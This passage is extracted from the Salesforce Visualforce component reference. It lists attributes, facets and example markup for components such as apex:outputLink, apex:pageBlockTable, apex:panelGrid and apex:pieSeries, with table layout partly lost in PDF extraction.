String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
467
apex:outputLink
Description
Required? API
Access
Version
title
String
10.0
global
value
Object
10.0
global
apex:outputLink
A link to a URL. This component is rendered in HTML as an anchor tag with an href attribute. Like its HTML equivalent, the body of an
<apex:outputLink> is the text or image that displays as the link. To add query string parameters to a link, use nested
<apex:param> components.
See also: <apex:commandLink>
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<a> tag.
Example
<apex:outputLink value="https://www.salesforce.com"
id="theLink">www.salesforce.com</apex:outputLink>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the link in focus. When the
link is in focus, pressing the Enter key is equivalent to clicking
the link.
10.0
global
charset
String
10.0
global
coords
String
The position and shape of the hot spot on the screen used
for the output link (for use in client-side image maps).
10.0
global
468
apex:outputLink
Description
Required? API
Access
Version
String
10.0
global
disabled
Boolean
10.0
global
hreflang
String
10.0
global
id
String
10.0
global
lang
String
10.0
global
onblur
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
469
apex:outputLink
Description
Required? API
Access
Version
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rel
String
10.0
global
rendered
Boolean
10.0
global
rev
String
The reverse link from the URL specified by this command link
to the current document. The value of this attribute is a
space-separated list of link types. For more information on
this attribute, see the W3C specifications.
10.0
global
shape
String
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
target
String
10.0
global
title
String
10.0
global
type
String
10.0
global
470
apex:outputPanel
Description
Required? API
Access
Version
Object
10.0
global
apex:outputPanel
A set of content that is grouped together, rendered with an HTML <span> tag, <div> tag, or neither. Use an
<apex:outputPanel> to group components together for AJAX refreshes.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container tag, <div> or <span>, depending on the value of the layout attribute.
Span Example
<!-- Spans do not add any additional formatting to the body of the outputPanel.
<apex:outputPanel id="thePanel">My span</apex:outputPanel>
-->
Div Example
<!-- Divs place the body of the outputPanel within the equivalent of an HTML paragraph
tag. -->
<apex:outputPanel id="thePanel" layout="block">My div</apex:outputPanel>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
id
String
10.0
global
471
apex:outputPanel
Description
Required? API
Access
Version
lang
String
10.0
global
layout
String
The layout style for the panel. Possible values include "block"
(which generates an HTML div tag), "inline" (which generates
an HTML span tag), and "none" (which does not generate an
HTML tag). If not specified, this value defaults to "inline".
10.0
global
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
472
apex:outputText
Description
Required? API
Access
Version
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
apex:outputText
Displays text on a Visualforce page. You can customize the appearance of <apex:outputText> using CSS styles, in which case
the generated text is wrapped in an HTML <span> tag. You can also escape the rendered text if it contains sensitive HTML and XML
characters. This component does take localization into account.
Use with nested param tags to format the text values, where {n} corresponds to the n-th nested param tag. The value attribute
supports the same syntax as the MessageFormat class in Java.
Warning: Encrypted custom fields that are embedded in the <apex:outputText> component display in clear text. The
<apex:outputText> component doesn't respect the View Encrypted Data permission for users. To prevent showing sensitive
information to unauthorized users, use the <apex:outputField> tag instead.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <span> tag.
473
apex:outputText
</apex:outputText>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
escape
Boolean
10.0
global
id
String
10.0
global
label
String
23.0
474
apex:page
Description
Required? API
Access
Version
lang
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:page
A single Visualforce page. All pages must be wrapped inside a single page component tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<html> tag.
Example
<!-- Page: -->
<apex:page renderAs="pdf">
<style> body { font-family: 'Arial Unicode MS'; } </style>
<h1>Congratulations</h1>
<p>This is your new PDF</p>
</apex:page>
Attributes
Attribute Name Attribute Type
action
Description
Required? API
Access
Version
475
10.0
global
apex:page
Description
Required? API
Access
Version
10.0
applyBodyTag Boolean
27.0
applyHtmlTag Boolean
27.0
Boolean
10.0
global
10.0
global
10.0
global
26.0
apiVersion
cache
double
global
String
controller
String
deferLastCommandUntilReady Boolean
476
apex:page
Description
Required? API
Access
Version
String
23.0
Integer
14.0
String
11.0
global
id
String
10.0
global
label
String
10.0
global
language
String
10.0
global
manifest
String
27.0
name
String
10.0
477
global
apex:page
Description
Required? API
Access
Version
pageStyle
String
10.0
readOnly
Boolean
23.0
recordSetName String
14.0
recordSetVar String
14.0
global
String
478
13.0
global
apex:page
Description
Required? API
Access
Version
Boolean
10.0
global
setup
Boolean
10.0
global
showChat
Boolean
10.0
global
showHeader
Boolean
10.0
global
34.0
Boolean
10.0
global
sidebar
10.0
global
standardStylesheets Boolean
11.0
global
10.0
global
tabStyle
String
479
apex:pageBlock
Description
Required? API
Access
Version
String
10.0
global
10.0
global
Boolean
apex:pageBlock
An area of a page that uses styling similar to the appearance of a Salesforce detail page, but without any default content.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <div> tag.
480
apex:pageBlock
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
helpTitle
String
The text that displays when a user hovers the mouse over the
help link for the page block. If specified, you must also provide
a value for helpURL. Note that if a value for a header facet is
included in the pageBlock, this attribute is ignored.
12.0
global
helpUrl
String
The URL of a webpage that provides help for the page block.
When this value is specified, a help link appears in the upper
right corner of the page block. If specified, you must also
provide a value for helpTitle. Note that if a value for a header
facet is included in the pageBlock, this attribute is ignored.
12.0
global
id
String
10.0
global
lang
String
10.0
global
481
String
apex:pageBlock
Description
Required? API
Access
Version
10.0
global
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
482
apex:pageBlockButtons
Description
Required? API
Access
Version
tabStyle
String
10.0
global
title
String
The text displayed as the title of the page block. Note that if
a header facet is included in the body of the pageBlock
component, its value overrides this attribute.
10.0
global
Facets
Facet Name
Description
API
Version
footer
The components that appear at the bottom of the page block. If specified, the content 10.0
of this facet overrides any pageBlockButton components in the pageBlock. Note that the
order in which a footer facet appears in the body of a pageBlock component does not
matter, because any facet with name="footer" will control the appearance of the bottom
block.
header
The components that appear in the title bar of the page block. If specified, the content 10.0
of this facet overrides the pageBlock title tab, any pageBlockButton components, and the
value of the helpTitle and helpURL attributes in the pageBlock. Note that the order in
which a header facet appears in the body of a pageBlock component does not matter,
because any facet with name="header" will control the appearance of the title.
apex:pageBlockButtons
A set of buttons that are styled like standard Salesforce buttons. This component must be a child component of an
<apex:pageBlock>.
Note that it is not necessary for the buttons themselves to be direct children of the <apex:pageBlockButtons>
componentbuttons that are located at any level within an <apex:pageBlockButtons> component are styled appropriately.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td> tag that contains the buttons. This <td> tag can be at the top or bottom, or both, of the <apex:pageBlock>, depending
on the value of the location attribute of the <apex:pageBlockButtons> component.
483
apex:pageBlockButtons
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
11.0
global
id
String
11.0
global
lang
String
11.0
global
location
String
11.0
global
484
apex:pageBlockSection
Description
Required? API
Access
Version
onclick
String
11.0
global
ondblclick
String
11.0
global
onkeydown
String
11.0
global
onkeypress
String
11.0
global
onkeyup
String
11.0
global
onmousedown
String
11.0
global
onmousemove
String
11.0
global
onmouseout
String
11.0
global
onmouseover
String
11.0
global
onmouseup
String
11.0
global
rendered
Boolean
11.0
global
style
String
11.0
global
styleClass
String
11.0
global
title
String
11.0
global
apex:pageBlockSection
A section of data within an <apex:pageBlock> component, similar to a section in a standard Salesforce page layout definition.
485
apex:pageBlockSection
An <apex:pageBlockSection> component consists of one or more columns, each of which spans two cells: one for a field's
label, and one for its value. Each component found in the body of an <apex:pageBlockSection> is placed into the next cell in
a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the first cell.
To add a field from a Salesforce object to an <apex:pageBlockSection>, use an <apex:inputField> or
<apex:outputField> component. Each of these components automatically displays with the field's associated label. To add
fields for variables or methods that are not based on Salesforce object fields, or to customize the format of Salesforce object field labels,
use an <apex:pageBlockSectionItem> component. Each <apex:inputField>, <apex:outputField>, or
<apex:pageBlockSectionItem> component spans both cells of a single column.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <div> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
collapsible
Boolean
11.0
global
columns
Integer
11.0
global
486
apex:pageBlockSection
Description
Required? API
Access
Version
String
10.0
global
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
487
apex:pageBlockSectionItem
Description
Required? API
Access
Version
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
showHeader
Boolean
11.0
global
title
String
10.0
global
Facets
Facet Name
Description
API
Version
body
The components that appear in the body of the page block section. If specified, the
11.0
content of this facet overrides the body of the pageBlockSection tag. Note that the order
in which a body facet appears in the body of a page block section component does not
matter, because any facet with name="body" will control the appearance of the section
body.
header
The components that appear in the title for the page block section. If specified, the content 10.0
of this facet overrides the value of the title attribute. Note that the order in which a header
facet appears in the body of a page block section component does not matter, because
any facet with name="header" will control the appearance of the section title.
apex:pageBlockSectionItem
A single piece of data in an <apex:pageBlockSection> that takes up one column in one row. An
<apex:pageBlockSectionItem> component can include up to two child components. If no content is specified, the column
is rendered as an empty space. If one child component is specified, the content spans both cells of the column. If two child components
are specified, the content of the first is rendered in the left, "label" cell of the column, while the content of the second is rendered in the
right, "data" cell of the column.
Note that if you include an <apex:outputField> or an <apex:inputField> component in an
<apex:pageBlockSectionItem>, these components do not display with their label or custom help text as they do when they
are children of an <apex:pageBlockSectionItem>. Also note that <apex:pageBlockSectionItem> components
can't be rerendered; rerender the child components instead.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <tr> tag.
488
apex:pageBlockSectionItem
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
Attributes
Attribute Name Attribute Type
dataStyle
String
dataStyleClass String
Description
Required? API
Access
Version
The CSS style used to display the content of the right, "data"
cell of the pageBlockSection column.
11.0
global
The CSS style class used to display the content of the right,
"data" cell of the pageBlockSection column.
11.0
global
489
apex:pageBlockSectionItem
Description
Required? API
Access
Version
dataTitle
String
The text displayed when you hover over the right, "data" cell
of the pageBlockSection column.
11.0
global
dir
String
11.0
global
helpText
String
12.0
global
id
String
11.0
global
labelStyle
String
The CSS style used to display the content of the left, "label"
cell of the pageBlockSection column.
11.0
global
The CSS style class used to display the content of the left,
"label" cell of the pageBlockSection column.
11.0
global
labelStyleClass String
labelTitle
String
The text displayed when you hover over the left, "label" cell
of the pageBlockSection column.
11.0
global
lang
String
11.0
global
onDataclick
String
11.0
global
onDatadblclick String
11.0
global
onDatakeydown String
11.0
global
onDatakeypress String
11.0
global
String
11.0
global
11.0
global
onDatakeyup
onDatamousedown String
490
apex:pageBlockSectionItem
Description
onDatamousemove String
11.0
global
onDatamouseout String
11.0
global
onDatamouseover String
11.0
global
onDatamouseup String
11.0
global
onLabelclick String
11.0
global
onLabeldblclick String
11.0
global
onLabelkeydown String
11.0
global
onLabelkeypress String
11.0
global
onLabelkeyup String
11.0
global
onLabelmousedown String
11.0
global
onLabelmousemove String
11.0
global
onLabelmouseout String
11.0
global
onLabelmouseover String
11.0
global
onLabelmouseup String
11.0
global
11.0
global
rendered
Boolean
Required? API
Access
Version
491
apex:pageBlockTable
apex:pageBlockTable
A list of data displayed as a table within either an <apex:pageBlock> or <apex:pageBlockSection> component, similar
to a related list or list view in a standard Salesforce page. Like an <apex:dataTable>, an <apex:pageBlockTable> is defined
by iterating over a set of data, displaying information about one item of data per row. The set of data can contain up to 1,000 items, or
10,000 items when the page is executed in read-only mode.
The body of the <apex:pageBlockTable> contains one or more column components that specify what information should be
displayed for each item of data, similar to a table. Unlike the <apex:dataTable> component, the default styling for
<apex:pageBlockTable> matches standard Salesforce styles. Any additional styles specified with <apex:pageBlockTable>
attributes are appended to the standard Salesforce styles.
Note that if you specify an sObject field as the value attribute for a column, the associated label for that field is used as the column
header by default. To override this behavior, use the headerValue attribute on the column, or the column's header facet.
For Visualforce pages running Salesforce.com API version 20.0 or higher, an <apex:repeat> tag can be contained within this
component to generate columns.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
table's <tbody> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
492
apex:pageBlockTable
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
align
String
12.0
global
bgcolor
String
12.0
global
border
String
12.0
global
captionClass String
The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
12.0
global
captionStyle String
The style used to display the caption for the rendered HTML
table, if a caption facet is specified. This attribute is used
primarily for adding inline CSS styles.
12.0
global
cellpadding
String
The amount of space between the border of each list cell and
its content. If the value of this attribute is a pixel length, all
four margins are this distance from the content. If the value
of the attribute is a percentage length, the top and bottom
margins are equally separated from the content based on a
percentage of the available vertical space, and the left and
right margins are equally separated from the content based
on a percentage of the available horizontal space.
12.0
global
cellspacing
String
The amount of space between the border of each list cell and
the border of the other cells surrounding it and/or the list's
edge. This value must be specified in pixels or percentage.
12.0
global
columnClasses String
12.0
global
12.0
global
12.0
global
Integer
columnsWidth String
493
apex:pageBlockTable
Description
Required? API
Access
Version
dir
String
12.0
global
first
Integer
12.0
global
footerClass
String
The style class used to display the footer (bottom row) for the
rendered HTML table, if a footer facet is specified. This
attribute is used primarily to designate which CSS styles are
applied when using an external CSS stylesheet.
12.0
global
frame
String
The borders drawn for this page block table. Possible values
include "none", "above", "below", "hsides", "vsides", "lhs", "rhs",
"box", and "border". If not specified, this value defaults to
"border".
12.0
global
headerClass
String
The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
12.0
global
id
String
12.0
global
lang
String
12.0
global
onclick
String
12.0
global
ondblclick
String
12.0
global
onkeydown
String
12.0
global
onkeypress
String
12.0
global
onkeyup
String
12.0
global
onmousedown
String
12.0
global
onmousemove
String
12.0
global
494
apex:pageBlockTable
Description
Required? API
Access
Version
onmouseout
String
12.0
global
onmouseover
String
12.0
global
onmouseup
String
12.0
global
onRowClick
String
12.0
global
onRowDblClick String
12.0
global
onRowMouseDown String
12.0
global
onRowMouseMove String
12.0
global
onRowMouseOut String
12.0
global
onRowMouseOver String
12.0
global
onRowMouseUp String
12.0
global
rendered
Boolean
12.0
global
rowClasses
String
12.0
global
495
apex:pageBlockTable
Description
Required? API
Access
Version
styled with classA, the fourth row is styled with classB, and so
on.
rows
Integer
12.0
global
rules
String
12.0
global
style
String
12.0
global
styleClass
String
12.0
global
summary
String
12.0
global
title
String
12.0
global
value
Object
Yes
12.0
global
var
String
The name of the variable that represents one element in the Yes
collection of data specified by the value attribute. You can
then use this variable to display the element itself in the body
of the pageBlockTable component tag.
12.0
global
width
String
12.0
global
Facets
Facet Name
Description
API
Version
caption
The components that appear in the caption for the page block table. Note that the order 12.0
in which a caption facet appears in the body of a pageBlockTable component does not
matter, because any facet with name="caption" will control the appearance of the table's
caption.
footer
The components that appear in the footer row for the page block table. Note that the 12.0
order in which a footer facet appears in the body of a pageBlockTable component does
not matter, because any facet with name="footer" will control the appearance of the
final row in the table.
496
apex:pageMessage
Facet Name
Description
API
Version
header
The components that appear in the header row for the page block table. Note that the 12.0
order in which a header facet appears in the body of a pageBlockTable component does
not matter, because any facet with name="header" will control the appearance of the
first row in the table.
apex:pageMessage
This component should be used for presenting custom messages in the page using the Salesforce pattern for errors, warnings and other
types of messages for a given severity. See also the pageMessages component.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabStyle="Opportunity" sidebar="false">
<p>Enter an alphabetic character for the "Close Date,"
then click Save to see what happens.</p>
<apex:form >
<apex:pageBlock >
<apex:pageMessage summary="This pageMessage will always display. Validation error
messages appear in the pageMessages component." severity="warning" strength="3"
/>
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
detail
String
14.0
escape
Boolean
14.0
497
apex:pageMessages
Description
Required? API
Access
Version
String
14.0
global
rendered
Boolean
14.0
global
severity
String
14.0
strength
Integer
14.0
summary
String
14.0
title
String
14.0
apex:pageMessages
This component displays all messages that were generated for all components on the current page, presented using the Salesforce
styling.
Example
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabStyle="Opportunity" sidebar="false">
<p>Enter an alphabetic character for the "Close Date,"
then click Save to see what happens.</p>
<apex:form >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="opp">
<apex:column value="{!opp.name}"/>
<apex:column headerValue="Close Date">
<apex:inputField value="{!opp.closeDate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
498
apex:panelBar
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
escape
Boolean
14.0
id
String
14.0
global
rendered
Boolean
14.0
global
showDetail
Boolean
14.0
apex:panelBar
A page area that includes one or more <apex:panelBarItem> tags that can expand when a user clicks the associated header.
When an <apex:panelBarItem> is expanded, the header and the content of the item are displayed while the content of all other
items are hidden. When another <apex:panelBarItem> is expanded, the content of the original item is hidden again. An
<apex:panelBar> can include up to 1,000 <apex:panelBarItem> tags.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <div> tag.
Example
<!-- Page: panelBar -->
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page>
<apex:panelBar>
<apex:panelBarItem label="Item 1">data 1</apex:panelBarItem>
499
apex:panelBar
Attributes
Attribute Name Attribute Type
Description
contentClass String
10.0
global
contentStyle String
10.0
global
String
10.0
global
headerClassActive String
10.0
global
10.0
global
10.0
global
headerClass
headerStyle
String
headerStyleActive String
Required? API
Access
Version
height
String
10.0
global
id
String
10.0
global
items
Object
11.0
global
rendered
Boolean
10.0
global
500
apex:panelBarItem
Description
Required? API
Access
Version
style
String
10.0
global
styleClass
String
10.0
global
switchType
String
10.0
global
value
Object
10.0
global
var
String
11.0
global
width
String
10.0
global
apex:panelBarItem
A section of an <apex:panelBar> that can expand or retract when a user clicks the section header. When expanded, the header
and the content of the <apex:panelBarItem> is displayed. When retracted, only the header of the <apex:panelBarItem>
displays.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <div> tag.
Example
<!-- Page: panelBar -->
<!-- Click on Item 1, Item 2, or Item 3 to display the content of the panel -->
<apex:page>
<apex:panelBar>
<apex:panelBarItem label="Item 1">data 1</apex:panelBarItem>
<apex:panelBarItem label="Item 2">data 2</apex:panelBarItem>
<apex:panelBarItem label="Item 3">data 3</apex:panelBarItem>
</apex:panelBar>
</apex:page>
<!-- Page: panelBarItemEvents -->
501
apex:panelBarItem
<apex:page >
<apex:pageMessages/>
<apex:panelBar>
<apex:panelBarItem
label="Item One"
onenter="alert('Entering item one');"
onleave="alert('Leaving item one');">
Item one content
</apex:panelBarItem>
<apex:panelBarItem
label="Item Two"
onenter="alert('Entering item two');"
onleave="alert('Leaving item two');">
Item two content
</apex:panelBarItem>
</apex:panelBar>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
contentClass String
10.0
global
contentStyle String
10.0
global
expanded
String
10.0
global
headerClass
String
10.0
global
headerClassActive String
10.0
global
10.0
global
headerStyle
String
Required? API
Access
Version
502
apex:panelGrid
Description
Required? API
Access
Version
headerStyleActive String
10.0
global
id
String
10.0
global
label
String
10.0
global
name
Object
11.0
global
onenter
String
16.0
onleave
String
16.0
rendered
Boolean
10.0
global
apex:panelGrid
Renders an HTML table element in which each component found in the body of the <apex:panelGrid> is placed into a
corresponding cell in the first row until the number of columns is reached. At that point, the next component wraps to the next row
and is placed in the first cell.
Note that if an <apex:repeat> component is used within an <apex:panelGrid> component, all content generated by the
<apex:repeat> component is placed in a single <apex:panelGrid> cell. The <apex:panelGrid> component differs
from <apex:dataTable> because it does not process a set of data with an iteration variable.
See also: <apex:panelGroup>
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <table> tag.
Example
<apex:page>
<apex:panelGrid columns="3" id="theGrid">
<apex:outputText value="First" id="theFirst"/>
<apex:outputText value="Second" id="theSecond"/>
<apex:outputText value="Third" id="theThird"/>
<apex:outputText value="Fourth" id="theFourth"/>
</apex:panelGrid>
</apex:page>
503
apex:panelGrid
id="theFirst">First</span></td>
id="theSecond">Second</span></td>
id="theThird">Third</span></td>
id="theFourth">Fourth</span></td>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
bgcolor
String
10.0
global
border
Integer
10.0
global
captionClass String
The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
10.0
global
captionStyle String
The style used to display the caption for the rendered HTML
table, if a caption facet is specified. This attribute is used
primarily for adding inline CSS styles
10.0
global
cellpadding
String
10.0
global
cellspacing
String
10.0
global
columnClasses String
10.0
global
If more than one CSS class is specified, the classes are applied
in a repeating fashion to all columns. For example, if you
504
apex:panelGrid
Description
Required? API
Access
Version
Integer
10.0
global
dir
String
10.0
global
footerClass
String
The style class used to display the footer (bottom row) for the
rendered HTML table, if a footer facet is specified. This
attribute is used primarily to designate which CSS styles are
applied when using an external CSS stylesheet.
10.0
global
frame
String
10.0
global
headerClass
String
The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
10.0
global
id
String
10.0
global
lang
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
505
apex:panelGrid
Description
Required? API
Access
Version
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
rowClasses
String
10.0
global
If more than one CSS class is specified, the classes are applied
in a repeating fashion to all rows. For example, if you specify
columnRows="classA, classB", then the first row is styled with
classA, the second row is styled with classB, the third row is
styled with classA, the fourth row is styled with classB, and so
on.
rules
String
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
summary
String
10.0
global
title
String
10.0
global
width
String
10.0
global
506
apex:panelGroup
Facets
Facet Name
Description
API
Version
caption
The components that appear in the caption for the table. Note that the order in which a 10.0
caption facet appears in the body of a panelGrid component does not matter, because
any facet with name="caption" will control the appearance of the table's caption.
footer
The components that appear in the footer row for the table. Note that the order in which 10.0
a footer facet appears in the body of a panelGrid component does not matter, because
any facet with name="footer" will control the appearance of the final row in the table.
header
The components that appear in the header row for the table. Note that the order in which 10.0
a header facet appears in the body of a panelGrid component does not matter, because
any facet with name="header" will control the appearance of the first row in the table.
apex:panelGroup
A container for multiple child components so that they can be displayed in a single panelGrid cell. An <apex:panelGroup> must
be a child component of an <apex:panelGrid>.
Example
<apex:page>
<apex:panelGrid columns="3" id="theGrid">
<apex:outputText value="First" id="theFirst"/>
<apex:outputText value="Second" id="theSecond"/>
<apex:panelGroup id="theGroup">
<apex:outputText value="Third" id="theThird"/>
<apex:outputText value="Fourth" id="theFourth"/>
</apex:panelGroup>
</apex:panelGrid>
</apex:page>
507
apex:param
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
layout
String
The layout style for the panel group. Possible values include
"block" (which generates an HTML div tag), "inline" (which
generates an HTML span tag), and "none" (which does not
generate an HTML tag). If not specified, this value defaults to
"inline".
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
apex:param
A parameter for the parent component. The <apex:param> component can only be a child of the following components:
<apex:actionFunction>
<apex:actionSupport>
<apex:commandLink>
<apex:outputLink>
<apex:outputText>
<flow:interview>
Within <apex:outputText>, theres support for the <apex:param> tag to match the syntax of the MessageFormat class in
Java.
apex:outputLink Example
<!-- For this example to render fully, associate the page
with a valid contact record in the URL.
For example: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 -->
<apex:page standardController="Contact">
<apex:outputLink value="http://google.com/search">
Search Google
<apex:param name="q" value="{!contact.name}"/>
508
apex:pieSeries
</apex:outputLink>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
assignTo
Object
10.0
global
id
String
10.0
global
name
String
10.0
global
value
Object
10.0
global
Yes
apex:pieSeries
A data series to be rendered as wedges in a Visualforce pie chart. At a minimum you must specify the fields in the data collection to use
as label and value pairs for each pie wedge.
Note: This component must be enclosed within an <apex:chart> component. You can only have one <apex:pieSeries>
in a chart.
Example
<!-- Page: -->
<apex:chart data="{!pieData}" height="300" width="400">
<apex:pieSeries labelField="name" dataField="data1"/>
</apex:chart>
509
apex:pieSeries
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
colorSet
String
A set of color values used, in order, as the pie wedge fill colors.
Colors are specified as HTML-style (hexadecimal) colors, and
should be comma separated. For example,
#00F,#0F0,#F00.
23.0
dataField
String
The field in each record provided in the chart data from which Yes
to retrieve the data value for each pie wedge in the series.
This field must exist in every record in the chart data.
23.0
donut
Integer
26.0
highlight
Boolean
23.0
id
String
23.0
labelField
String
The field in each record provided in the chart data from which
to retrieve the label for each pie wedge in the series. This field
must exist in every record in the chart data. If not specified,
this value defaults to "name".
23.0
rendered
Boolean
23.0
rendererFn
String
26.0
showInLegend Boolean
23.0
Boolean
23.0
tips
510
global
apex:radarSeries
apex:radarSeries
A data series to be rendered as the area inside a series of connected points in a radial Visualforce chart. Radar charts are also sometimes
called "spider web" charts. At a minimum you must specify the fields in the data collection to use as X and Y values for each point, as
well as a radial axis to scale against.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:radarSeries>
components in a single chart.
Example
<!-- Page: -->
<apex:chart height="530" width="700" legend="true" data="{!data}">
<apex:legend position="left"/>
<apex:axis type="Radial" position="radial">
<apex:chartLabel/>
</apex:axis>
<apex:radarSeries xField="name" yField="data1" tips="true" opacity="0.4"/>
<apex:radarSeries xField="name" yField="data2" tips="true" opacity="0.4"/>
<apex:radarSeries xField="name" yField="data3" tips="true"
markerType="cross" strokeWidth="2" strokeColor="#f33" opacity="0.4"/>
</apex:chart>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
fill
String
A string that specifies the color to use to fill the area inside
the line, specified as an HTML-style (hexadecimal) color. If not
specified, colors are used in sequence from the chart colorSet
or theme. Set fill to "none" for an unfilled chart, with lines and
markers only. If you do so, be sure to set stroke and marker
